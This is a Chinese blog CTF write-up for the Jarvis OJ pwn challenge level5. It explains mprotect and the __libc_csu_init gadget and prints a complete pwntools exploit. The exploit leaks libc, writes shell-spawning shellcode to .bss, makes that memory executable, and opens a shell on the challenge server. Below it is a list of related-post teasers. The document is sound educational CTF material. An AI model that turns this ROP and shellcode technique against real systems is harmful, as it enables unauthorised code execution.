(Jarvis Oj)(Pwn) level5

jarvisoj_level5 buu刷题jarvisoj_level5【wp】 阅读详情

(Jarvis Oj)(Pwn) level5

题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。
首先去看看这个mmap函数和mprotect函数是干啥的。
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)
int mprotect(void* addr, size_t len, int port)
简单来说mmap函数创建一块内存区域,将一个文件映射到该区域,进程可以像操作内存一样操作文件。mprotect函数可以改变一块内存区域的权限(以页为单位)。至于mmap函数没有想到怎么去利用,而mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
首先,要使用mprotect函数,依然需要知道它在内存中的地址,通过level3的方法可以得到。
需要调用这个mprotect函数,我们发现它有三个参数,第一个是要设置的地址(edi),第二个是设置的长度(esi),第三个是权限值(edx),但是我们在level3中发现简单的gadgets并没有pop edx,这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)。

.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 __libc_csu_init endp

在loc_4006A6这个函数下面,有6个pop。在loc_400690函数下面刚好前三个寄存器的赋值语句,以及一个call函数调用,简直完美有没有。所以我们只需要先调用loc_4006A6将r13,r14,r15设置为mprotect函数的三个参数值,将r12设置为mprotect的地址,rbx置0,再调用loc_400690的时候,自然就执行mprotect函数了。(为了跳出这个循环,还需将rbp设置为1)
在这里是通过call调用函数,所以我们还需要将需要调用的函数地址写道got table中。这个通过read函数就可以了。写得脚本如下:

from pwn import *
context.binary = './level3_x64'
#conn=process('./level3_x64')
conn=remote("pwn2.jarvisoj.com", "9884")
e=ELF('./level3_x64')
#libc=ELF('/usr/lib64/libc-2.26.so')
libc=ELF('./libc-2.19.so')
pad=0x80
vul_addr=e.symbols["vulnerable_function"]
write_plt=e.symbols['write']
write_got=e.got['write']
read_plt=e.symbols['read']
pop_rdi=0x4006b3 #pop rdi;ret
pop_rsi=0x4006b1 #pop rsi;pop r15;ret
##############################################
#get mprotect_addr
#edx=0x200 is not serious
payload1="A"*pad+"BBBBBBBB"+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+"deadbuff"+p64(write_plt)+p64(vul_addr)
conn.recv()
sleep(0.2)
conn.send(payload1)
write_addr=u64(conn.recv(8))
pause()
#print write_addr 
libc_write=libc.symbols['write']
libc_mprotect=libc.symbols['mprotect']
mprotect_addr=(libc_mprotect-libc_write)+write_addr
print (hex(mprotect_addr))
#############################################
#write the shellcode to bss
bss_addr=e.bss()
shellcode=asm(shellcraft.sh())
payload2="A"*pad+"BBBBBBBB"+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_addr)+"deadbuff"+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload2)
sleep(0.2)
conn.send(shellcode)
#############################################
#write the bss to got_table
pause()
bss_got=0x600a47#any empty got_table address is ok
payload3="A"*pad+"BBBBBBBB"+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_got)+"deadbuff"+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload3)
sleep(0.2)
conn.send(p64(bss_addr))
#############################################
#write the mprotect to got_table
pause()
mprotect_got=0x600a51#any empty got_table address is ok
payload4="A"*pad+"BBBBBBBB"+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(mprotect_got)+"deadbuff"+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload4)
sleep(0.2)
conn.send(p64(mprotect_addr))
#############################################
pause()
#add rsp,8 
#pop rbx
#pop rbp
#pop r12
#pop r13
#pop r14
#pop r15
#retn
csu_start=0x4006a6
#mov rdx,r13  the 3rd parm
#mov rsi,r14  the 2nd parm  
#mov edi,r15  the 1st parm
#call [r12] 
#add rbx,1
#cmp rbx,rbp
#jnz short loc_400690
csu_end=0x400690
payload5="A"*pad+"BBBBBBBB"+p64(csu_start)
#try to call mprotect
payload5+='a'*8+p64(0)+p64(1)+p64(mprotect_got)+p64(7)+p64(0x1000)+p64(0x600000)
payload5+=p64(csu_end)
#try to call shellcode
payload5+='a'*8+p64(0)+p64(1)+p64(bss_got)+p64(0)+p64(0)+p64(0)
payload5+=p64(csu_end)
sleep(0.2)
conn.send(payload5)
conn.interactive()

最后还有一点小问题就是,在远程调试的时候开始没有加pause()一直出错,后来加了pause()才打通,也不知道为什么。

笔记向——PWN jarvis oj level2 题目链接:https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1 nc pwn2.jarvisoj.com 9878 0x01分析漏洞 先查看文件类型,再运行一下文件 检查保护措施 补充: checksec :是用来检查可执行文件属性的。 Arch:说明这个文件的属性是什么,说明是32位的程序。 Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,lin 阅读详情

相关推荐

笔记向——PWN jarvis oj level1

题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5 nc pwn2.jarvisoj.com 9877 0x01Linux中分析题目 首先使用file命令,文件为32位 再运行一下文件,提示输入,然后输出hello world 若出现权限不够则使用 chmod 777 文件名 ,打开文件所有权限 使用gdb工具,终端输入gdb,再输入:checksec 文件名,检查保

m0_52133692的博客 206

jarvis oj level5

level5要求不用system和execve,而是用mprotect和mmap,查了一下,mmap主要是将哪个文件映射到一段内存去同时设置那段内存的属性 可读可写或者是可执行,mprotect函数是将从addr开始的地址 ,长度位len的内存的访问权限。毫无头绪。查了网上大神的wp,才知道思路。 首先leak地址,shellcode写入bss没什么好说的。 要说下为什么要把bss和mprotec...

发蝴蝶和大脑斧的博客 1124

笔记向——PWN jarvis oj level0

题目下载链接:https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d 地址:nc pwn2.jarvisoj.com 9881 本人环境: ida反汇编工具(吾爱破解可下载到) 系统Ubuntu 18.04(linux的一个版本) pwntools(终端输入:sudo pip pwntools install 即可安装) pwndbg(终端输入:sudo clone https://github.com/p

m0_52133692的博客 273

BUUCTF jarvisoj_level5

主要的函数只有这个,没有后门函数,保护只开了nx,也就是常见的ret2libc的攻击方式,这里主要考的是再64位的传参,这个read肯定是很足够来栈溢出的。我们先用Roggadget来寻找rdi和rsi和rdx的地址,但是找不到rdx的地址,但是我们找到了和rsi连在一起的r15,也可以拿来当第三个参数存放。

2401_85052854的博客 420

从Wi-Fi到蓝牙:手把手教你用Cadence Virtuoso搭建一个2.4GHz锁相环频率综合器(含PFD/CP/VCO模块设计)

本文详细介绍了如何在Cadence Virtuoso中设计一个2.4GHz锁相环频率综合器(PLL),涵盖从系统架构到模块级设计的全流程。重点解析了PFD、CP和VCO等核心模块的设计技巧与仿真验证方法,帮助模拟集成电路设计师掌握高频PLL的实现要点,满足Wi-Fi和蓝牙等无线通信标准的要求。

weixin_30315723的博客 418

AI Agent辅助企业财务分析与预测

企业财务分析与预测是企业管理中至关重要的环节,准确的财务分析与预测能够帮助企业管理者做出明智的决策,合理规划资源,降低风险。然而,传统的财务分析与预测方法往往依赖于人工经验和简单的统计模型,存在效率低、准确性差等问题。随着人工智能技术的飞速发展,AI Agent作为一种智能的软件实体,能够自主地感知环境、做出决策并采取行动,为企业财务分析与预测带来了新的解决方案。

AI天才研究院 921

SyntaxError: return outside function

这种语法错误一般出现在return没有在函数内部写,而写在了函数外部或者没有定义函数的时候使用了,这种就会报错。

逐梦人.的博客 2161

DeepSeek赋能CAD:从API调用到智能设计工作流的实战指南

本文详细介绍了如何利用DeepSeek AI技术赋能CAD设计工作流,从API调用到智能设计优化的实战指南。通过Python环境配置、API接入详解以及四大智能设计场景的实战案例,帮助CAD设计师实现参数化设计优化、自动规范检查等高效工作方式,大幅提升设计效率和质量。

weixin_29092579的博客 624

(Jarvis Oj)(Pwn) level1

(Jarvis Oj)(Pwn) level1 首先用checksec查一下保护。几乎没开什么保护措施。关键的是NX没开,意味着栈上的数据可执行。 用ida反汇编,找到溢出点。 但这次没有找到system函数了,那么该怎么得到shell呢,发现这个函数调用了printf函数,输出了buf的地址,在结合NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转...

Nothing 1411

天地图下载带审图号(审图号: GS(2024)0650号)的 “行政区划” 数据(含shp文件下载地址)

在科研投稿论文过程中,多数期刊杂志要求我们制作涉及国界的图件,必须使用自然资源部地图技术审查中心发布的标准地图底图。如地理学报、地理科学等期刊的投稿指南中写到:非标准底图本刊不予发表!(如图1.1所示)如果一定要用,凡涉国界图件(国内部分地区、全国、世界部分地区、全球)必须使用自然资源部标准地图服务系统标准地图底图(http://bzdt.ch.mnr.gov.cn/)(如图1.1所示)或国家测绘局地理信息局标准地图底图(如图1.2所示),所用底图边界要完全无修改(包括南海诸岛位置)。

JData_Engineer的博客 2303

【华为OD机试】创建二叉树(python, java, c++, js)

请按下列描达构建一颗二叉树,并返回该树的根节点: 1、先创建值为-1的根结点,根节点在第0层; 2、然后根据operations依次添加节点: operations[i] = [height, index] 表示对第 height 层的第index 个节点node, 添加值为i 的子节点: 若node 无「左子节点」。则添加左子节点; 若node 有「左子节点」但无「右子节点」,则添加右子节点: 否则不作任何处理。 height、index 均从0开始计数;index 指所在层的创建顺序。

A_D_I_D_A_S的博客 188

(Jarvis Oj)(Pwn) level0

(Jarvis Oj)(Pwn) level0 首先用checksec查一下保护。几乎没开什么保护措施。 用ida反汇编。main函数就调用了两个函数。 跟进第二个函数。 找到溢出点,同过buf缓冲区。又找到函数callsystem()。 只要控制程序返回到callsystem地址即可。找到callsystem地址。 写得脚本。 1 from pwn ...

Nothing 1319

Stable Diffusion WebUI 安装前准备

大家好,我是水滴~~在安装 stable-diffusion-webui 前需要做一些准备工作,本篇文章主要介绍需要的电脑配置、魔法、安装 Python、安装 Git 等。

水滴的博客 2100

(Jarvis Oj)(Pwn) level2

(Jarvis Oj)(Pwn) level2 首先用checksec查一下保护。这次NX开启了。 用ida反汇编,找到溢出点。 这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,刚好发现了”/bin/sh”,于是记录下地址(或者...

Nothing 1198

从码农到生态建造者:我的一人公司运作方案

华哥·OPC 运营方案 v1.0 - 第一次迭代 🚀,搭建闭环生态系统,赋能 AI 时代的超级个体,更好的做自己,同时照亮别人。

AaronZZH 的博客 995

激光打标轴坐标计算分析

‌:基于坐标差的平方和开方运算,勾股定理将几何关系转化为代数计算,从而实现了从坐标到距离的精确转换‌12。直角三角形的应用从上图可以看到A,B,P三个点连起来就是一个直角三角形了。用勾股定理计算距离 C#有相关的方法直接传参数就可以了。很方便。

StevenChen的博客 311

(Jarvis Oj)(Pwn) level2(x64)

(Jarvis Oj)(Pwn) level2(x64) 首先用checksec查一下保护,和level2一样。 反汇编,程序和32位的程序几乎一致。找到溢出点。 那么溢出思路也和32位的差不多,唯一不同的是,64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可...

Nothing 1565

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Jarvis OJ level1题解

题目网址https://www.jarvisoj.com/challenges Pwn区level1题 首先把文件放入gdb中用checksec分析 分析发现,没有开启NX保护,说明文件内没有包含system(‘/bin/sh’),说明本题需要自己去构造shellcode。NX保护未开启表示着你输入的东西可执行,所以你需要构造shellcode填充数据,然后利用返回地址再次返回这个变量,就可以执...

educat0r的博客 709

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Jarvis OJ pwn wp - level 0 ~ level 5

level 0 溢出, ROP调用system("/bin/sh"), get shell from pwn import * from pwnlib.util.cyclic import cyclic sel = 1 filename = "./level0" URL, PORT = "pwn2.jarvisoj.com", 9881 io = process(filename) if sel == 0 else remote(URL, PORT) elf = ELF(filename) sy

fa1c4的blog 466

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Jarvis OJ PWN level1

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;先看一下保护: 没开保护。 主函数中没写啥东西。。。 接着打开主函数中调用的function, 很明显的一个...

qq_43409582的博客 328

CTF-PWN level5(Jarvis Oj)

和level3_x64一样的文件,但是限制不能使用system和execv函数拿shell,但是可以用mmap和mprotect完成本题。 我尝试用mprotect来解决,首先mprotect的结构如下: int mprotect(const void *start, size_t len, int prot); 参数的含义是:把从start开始长度为len的内存区的保护属性修改为prot...

SuperGate的博客 940

Jarvis Oj Pwn 学习笔记-level0

一道64位的pwn题 呈上地址: 原文件:https://files.cnblogs.com/files/Magpie/level0.rar nc pwn2.jarvisoj.com 9881 先查一下保护: 扔进ida: 典型的64位栈溢出,莫得啥子难度,注意一哈64位即可 控制流打到callsystem即可 地址是:0x400596 直接贴ex...

baoan4763的博客 261

Jarvis OJ_level3_入门栈溢出

附录:发现这个网站的题还是挺系统的,对于入门pwn的是挺好的一个选择 解题思路 1. 查看文件信息,安全机制 2. 代码审计 3. 分析漏洞点 4. 编写EXP

Jc 518

18.9.19 Jarvis OJ PWN----[XMAN]level3

打开压缩包,看到了两个文件,surprise! 有个lib文件 checksec一波,发现没有保护栈 那就先找到可以栈溢出的地方哟,如下 可是问题来了,没有system函数,也没有/bin/sh字符串,但是在链接库(lib文件)中可以找到,如下 我们显然必须要知道system函数与/bin/sh字符在内存中的地址,之前我也不知道该怎么找,开始向大佬学姿势 key_point:...

qq_42192672的博客 468

Jarvis Oj Pwn 学习笔记-level1

32位pwn题目(听说出题人送shellcode?) 呈上链接: https://files.cnblogs.com/files/Magpie/level1.rar nc pwn2.jarvisoj.com 9877 先看一下保护: 竟然什么都没开......所以... 扔进IDA找到溢出点就可以开始食用了: 选中的函数即为存在溢出点的函数: 出题人可以说.....

baoan4763的博客 200
上一篇: (Jarvis Oj)(Pwn) level4
下一篇: iscc_obfuscation and encode
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值